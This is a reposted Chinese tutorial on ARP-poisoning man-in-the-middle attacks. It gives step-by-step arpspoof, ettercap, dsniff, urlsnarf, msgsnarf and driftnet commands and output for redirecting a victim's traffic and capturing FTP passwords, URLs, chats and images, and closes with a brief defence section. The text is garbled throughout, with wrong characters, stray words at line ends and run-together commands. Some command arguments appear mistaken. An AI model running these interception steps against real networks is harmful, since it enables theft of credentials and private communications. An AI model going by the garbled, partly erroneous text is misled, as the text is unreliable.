[转]中间人攻击-ARP毒化

原文地址:http://www.freebuf.com/articles/system/5157.htmlhtml

中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重致使危害 服务器和用户。仍然有不少变种的中间人攻击是有效的,它们可以很容易的欺骗外行而且入侵他们。正如字面意思同样,中间人攻击就是攻击者扮演中间人而且实施 攻击。它有时被称为monkey-in-the-middle攻击更先进的说它是man-in-the-browser攻击和man-in-the- mobile攻击。缓存

这实际上是一个危险的攻击,它能够劫持一段会话,咱们叫它会话劫持。它能够窃取凭证和其余机密信息,即便使用了SSL加密。在本文中,咱们将讨论下在不一样形式下的中间人攻击。服务器

ARP(地址解析协议)网络

ARP是一项协议。负责执行多个工做而且提供正确的数据包,在中间人攻击中,ARP扮演着重要的角色。那么,什么是ARP缓存中毒攻击呢?
要充分了解攻击,你须要了解ARP的概念,ARP协议经过IP地址来查找主机的物理地址(也就是MAC地址)。(PS:在以太网中,是用MAC地址来进行 通信的。)让咱们来想象这样一个场景:在一个以太网交换网络内,主机A但愿能与主机B进行交流(因此咱们要获取他的MAC地址咯)。因此主机A经过交换机 (HUB也能够- -)对整个网络进行广播,而后使用地址解析协议找到目标主机B的MAC地址。尽管整个广播域下都能收到主机A发送的信息,但只有主机A所请求的主机才会回 复ARP请求,将本身的MAC地址发给主机A。
让咱们来看看下面这个图,以便深刻理解:
dom

主机A发送的所包含的信息: tcp

源IP: 192.168.1.2
源 MAC: 00:1c:23:42:8d:f4
目的IP: 192.168.1.12
目的MAC地址: 00:00:00:00:00:00 <PS:不知道做者为啥写全0,应该也是本地广播吧。不清楚的同窗就当全F吧。>
以后B主机回复ARP请求
源 IP: 192.168.1.12
源 MAC: 2f:8d:1c:0f:f2:8f
目的 IP: 192.168.1.2
目的 MAC地址: 00:1c:23:42:8d:f4

ARP请求:
考虑上述场景,主机A的ARP请求发送一个广播给全部同网络的主机。
ARP响应:
它回复了响应,其中包含目的主机的MAC地址(主机B也在此网段内)。
RARP请求:
RARP(反向地址解析协议)与ARP相反,RARP请求就是根据MAC地址来查找IP地址。
RARP响应:
RARP响应与ARP响应相反,在RARP响应中它包含了IP地址。
ARP工做在OSI模型的第三层(网络层),但它不局限于此。它能够请求第二层(数据链路层)获取物理地址(MAC)。固然与它相反的过程就是RARP
全部的主机维护他们本身的ARP缓存表,因此不会每一次都发送广播,ARP表中包含IP对应的MAC地址。工具

ARP欺骗(ARP毒化)
ARP毒化也被称为ARP缓存中毒和ARP欺骗攻击,这是在内网的中间人攻击。ARP欺骗采起的优点是经过ARP协议欺骗,达到对整个网络进行欺骗。有几 种可能引发ARP欺骗的方法,通常是利用内网中的被攻陷主机或使用本身的主机(内部入侵)。有许多工具可以来实施ARP欺骗,如:测试

ARPspoof
Cain&abel
Ettercap
ARPoison
Dsniff
Parasite

让咱们开始实战吧:网站

root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
root@bt:~#

因此个人ARP表已经有了默认的网关和MAC地址,我将演示把全部受害者的流量引入个人主机(攻击者),而后我使用ARP欺骗,而网关将把本来流入他们的数据传送给我。
攻击者:192.168.1.2
被欺骗主机:192.168.1.5
默认网关:192.168.1.1
咱们须要启用IP转发,输入下面命令(PS:利用Linux主机的路由功能):google

root@bt:~# cat /proc/sys/net/ipv4/ip_forward
0
root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
1
root@bt:~#

下面的攻击我使用ARPspoof,来演示ARPspoofing攻击。这是一个不错的开源工具,能够用来执行ARP欺骗攻击。

root@bt:~# arpspoof -h
Usage: arpspoof [-i interface] [-t target] host

下面的命令是利用ARP毒化,重定向受害者的流量传送给攻击者。

root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

 

如今作第二个ARP毒化攻击,使网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)

root@bt:~# arpspoof -i eth0 -t 192.168.1.1  192.168.1.2

 

一切都已经设置完毕后,让咱们来捕获数据包。我在受攻击的主机上用google搜索猫的图片。
(PS:有点单项欺骗的意思)
如今咱们在攻击者的主机上输入:

root@bt:~# driftnet -i eth0

 

经过使用Ettercap来进行ARP欺骗
Ettercap是一个多用途的开源工具,能够用来执行嗅探、主机分析等。在本教程中,咱们使用中间人攻击进行ARP欺骗,ettercap有些不错的插件,能够加强中间人攻击。Ettercap中最重要的插件以下:

dns_spoof (执行DNS欺骗攻击)
Dos_attack(对受害主机进行拒绝服务攻击)
Chk_poison(检测是否成功进行了攻击)
Repoison_arp(顾名思义,修复ARP)

固然ettercap还有不少插件可使用,ettercap的优势在于可使用图形化界面和命令行模式,GUI的ettercap很是容易使用。

 

在实际攻击以前,让咱们先来讨论一些参数

-t 只监听这种协议
-T ettercap检查pcap文件(脱机监听)
-q 安静(不回显)
-M 这是一个重要的参数,他会告诉ettercap执行中间人攻击,使用这个参数很简单,如 -M method

例子1:

Ettercap -T -q -M ARP//

若是你在一个很是大的网络,那么我不建议你用这个命令。由于命令告诉ettercap对全部主机进行ARP欺骗

例子2:
目标/受害者 IP:192.168.1.6

root@bt:~# ettercap -T -q -M ARP /192.168.1.6/ //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAListening on eth0... (Ethernet)
eth0 ->    00:1C:23:42:8D:04 192.168.1.4 255.255.255.0SSL dissection needs a valid 'redir_command_on' script in the etter.conf filePrivileges dropped to UID 65534 GID 65534...28 plugins39 protocol dissectors53 ports monitored7587 mac vendor fingerprint1698 tcp OS fingerprint
2183 known servicesRandomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %
…..............Starting Unified sniffing...

这意味着一切准备工做完成了,嗅探已经启动,让咱们验证它吧。

root@bt:~# driftnet -i eth0

下面这幅图片表示受害者访问了一个网站,攻击者能够很容易利用driftnet来捕获受害者的活动。

 

咱们也能分析ARP毒化,手动验证IP地址,
受害主机被攻击以前:

C:\>arp -a
No ARP Entries Found

受害主机被攻击以后:

C:\>arp -a
Interface: 192.168.1.6 --- 0x2Internet Address     Physical Address     Type192.168.1.1        00-1c-23-42-8d-04     dynamic192.168.1.4         00-1c-23-42-8d-04     dynamic
C:\>

你能够看到,都是常见的主机IP和路由IP,而MAC地址则是攻击者的物理地址,所以ARP欺骗已经成功。

攻击者主机在攻击以前:

root@bt:~# arpAddress HWtype HWaddress Flags Mask Iface192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

攻击者主机在攻击以后:

root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.6 ether 08:00:27:66:13:9b C eth0
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

有不少其余方式来展示ARP欺骗的力量,咱们将讨论dsniff套件中的一部分。
Dsniff&ARP欺骗攻击
Dsniff是一个很是强大的工具套件,它被用来进行渗透测试。它被用来实施嗅探、网络分析等。它可以捕捉各类协议。ARPspoof和driftnet也是dsniff套件的一部分,固然还有其余套件,如:

Msgsnarf
Urlsnarf
Mailsnarf
Filesnarf
dnsspoof

在以下攻击场景中:

攻击者IP: 192.168.1.12
被攻击主机IP:192.168.1.6
路由(网关)IP:192.168.1.1

让咱们开始进行ARPspoof IP转发攻击:

root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forwardroot@bt:~# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.12

我刚刚启用端口转发,以后使用arpspoof(dsniff的一个插件)来执行ARP毒化攻击。开启dsniff来捕获已知协议获取密码。

root@bt:~# dsniff -i eth0dsniff: listening on eth0

 

如图所示,dsniff成功从受害者主机上捕获了FTP的用户名和密码,尽管这个密码是不正确的,但dsniff能够捕获受害者发送的信息。
由于攻击者的主机做为了默认的路由器(由于进行了ARP欺骗),所以受害主机传输的数据通过攻击者,攻击者很容易能够嗅探到受害者发送的信息。咱们能够 arpspoof全部网段内的主机,但咱们的示例中只ARP欺骗了单个主机。你能够试试其余的dsniif工具,像urlsnarf。

root@bt:~# urlsnarf -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

它能捕获受害者访问网站的详细信息。你能够试试msgsnarf捕获即时聊天会话信息,个人意思是若是用户经过雅虎聊天或者任何IRC频道,经过msgsnarf能够捕获受害者全部的谈话,结束攻击须要结束arpspoof。

root@bt:~# killall arpspoof

如何防止ARP毒化攻击
ARP欺骗是一种很是危险的攻击,攻击者能够很容易的探取受害者主机证书和其余机密信息。所以如何发现且保护ARP毒化受害者攻击呢?其实这是很容易识别的,若是你是受害主机,可使用ARP命令查看。
正如咱们能够对上面所讨论IP地址被ARP欺骗攻击以前和以后的区别进行比较,可以验证你是不是受害者。其余的方法是设置ARP缓存表为静态,但不推荐。由于在一个大型的网络中,它要花费很长的时间手动设置,这是不可能的。
这里有不少工具能够用来帮助你判断是否受到了ARP欺骗,并且有几种工具是可用的,它能够保护你的计算机免受ARP毒化而且检测出ARP缓存表的更变,一些比较出名的工具:

ARPon
ARP Wath
XARP
相关文章
相关标签/搜索